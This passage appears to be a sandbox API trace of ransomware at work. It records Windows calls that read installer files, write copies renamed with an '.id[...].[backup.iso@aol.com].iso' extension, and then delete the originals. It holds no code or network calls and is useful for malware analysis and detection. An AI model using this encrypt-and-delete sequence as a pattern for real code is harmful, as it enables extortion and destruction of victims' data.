CloseHandle (hObject=0x330) returned 1 [0106.493] CloseHandle (hObject=0x310) returned 1 [0106.497] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0106.500] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0106.500] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=6309) returned 1 [0106.500] CloseHandle (hObject=0x310) returned 1 [0106.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0106.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0106.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0106.501] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0106.501] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0106.501] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0106.501] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0106.714] ReadFile (in: hFile=0x310, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x18a5, lpOverlapped=0x0) returned 1 [0109.358] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x18b0, lpOverlapped=0x0) returned 1 [0109.359] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0109.359] CloseHandle (hObject=0x310) returned 1 [0109.359] CloseHandle (hObject=0x2c8) returned 1 [0109.361] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0109.362] SetEvent (hEvent=0x2cc) returned 1 [0109.362] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0109.362] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=14168) returned 1 [0109.362] CloseHandle (hObject=0x2c8) returned 1 [0109.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0109.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0109.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.363] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0109.363] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.363] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.363] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0109.363] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x3758, lpOverlapped=0x0) returned 1 [0109.389] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x3760, lpOverlapped=0x0) returned 1 [0109.390] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0109.390] CloseHandle (hObject=0x2c8) returned 1 [0109.390] CloseHandle (hObject=0x310) returned 1 [0109.401] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0109.402] SetEvent (hEvent=0x2cc) returned 1 [0109.402] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.402] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=79996) returned 1 [0109.402] CloseHandle (hObject=0x310) returned 1 [0109.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0109.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0109.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.403] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.403] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.403] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.403] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0109.403] ReadFile (in: hFile=0x310, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x1387c, lpOverlapped=0x0) returned 1 [0109.930] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x13880, lpOverlapped=0x0) returned 1 [0109.935] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0109.935] CloseHandle (hObject=0x310) returned 1 [0109.935] CloseHandle (hObject=0x2c8) returned 1 [0109.941] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0109.944] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0109.945] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=201796) returned 1 [0109.945] CloseHandle (hObject=0x2c8) returned 1 [0109.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0109.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0109.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.945] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0109.945] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.946] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0109.946] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0109.946] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x31444, lpOverlapped=0x0) returned 1 [0110.055] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x31450, lpOverlapped=0x0) returned 1 [0110.063] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0110.063] CloseHandle (hObject=0x2c8) returned 1 [0110.063] CloseHandle (hObject=0x310) returned 1 [0110.692] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0110.697] SetEvent (hEvent=0x2cc) returned 1 [0110.698] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.698] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=16118) returned 1 [0110.698] CloseHandle (hObject=0x31c) returned 1 [0110.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0110.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0110.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0110.698] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.699] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0110.699] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0110.699] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0110.699] ReadFile (in: hFile=0x31c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x3ef6, lpOverlapped=0x0) returned 1 [0110.838] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x3f00, lpOverlapped=0x0) returned 1 [0111.449] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0111.450] CloseHandle (hObject=0x31c) returned 1 [0111.450] CloseHandle (hObject=0x304) returned 1 [0111.490] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0111.510] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0111.533] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=93314) returned 1 [0111.533] CloseHandle (hObject=0x304) returned 1 [0111.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0111.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0111.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.533] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0111.533] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.533] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.533] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0111.540] ReadFile (in: hFile=0x304, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x16c82, lpOverlapped=0x0) returned 1 [0111.557] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x16c90, lpOverlapped=0x0) returned 1 [0111.570] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0111.570] CloseHandle (hObject=0x304) returned 1 [0111.570] CloseHandle (hObject=0x330) returned 1 [0111.583] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0111.585] SetEvent (hEvent=0x2cc) returned 1 [0111.586] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.586] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=39050) returned 1 [0111.586] CloseHandle (hObject=0x330) returned 1 [0111.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0111.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0111.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.587] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.587] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.587] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.587] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0111.620] ReadFile (in: hFile=0x330, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x988a, lpOverlapped=0x0) returned 1 [0111.630] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x9890, lpOverlapped=0x0) returned 1 [0111.632] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0111.632] CloseHandle (hObject=0x330) returned 1 [0111.632] CloseHandle (hObject=0x324) returned 1 [0111.637] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0111.834] SetEvent (hEvent=0x2cc) returned 1 [0111.835] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.835] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=894) returned 1 [0111.835] CloseHandle (hObject=0x324) returned 1 [0111.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0111.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0111.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.836] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.836] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0111.837] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x37e, lpOverlapped=0x0) returned 1 [0111.898] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x380, lpOverlapped=0x0) returned 1 [0111.899] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0111.900] CloseHandle (hObject=0x324) returned 1 [0111.900] CloseHandle (hObject=0x330) returned 1 [0111.901] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0111.902] SetEvent (hEvent=0x2cc) returned 1 [0111.902] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: 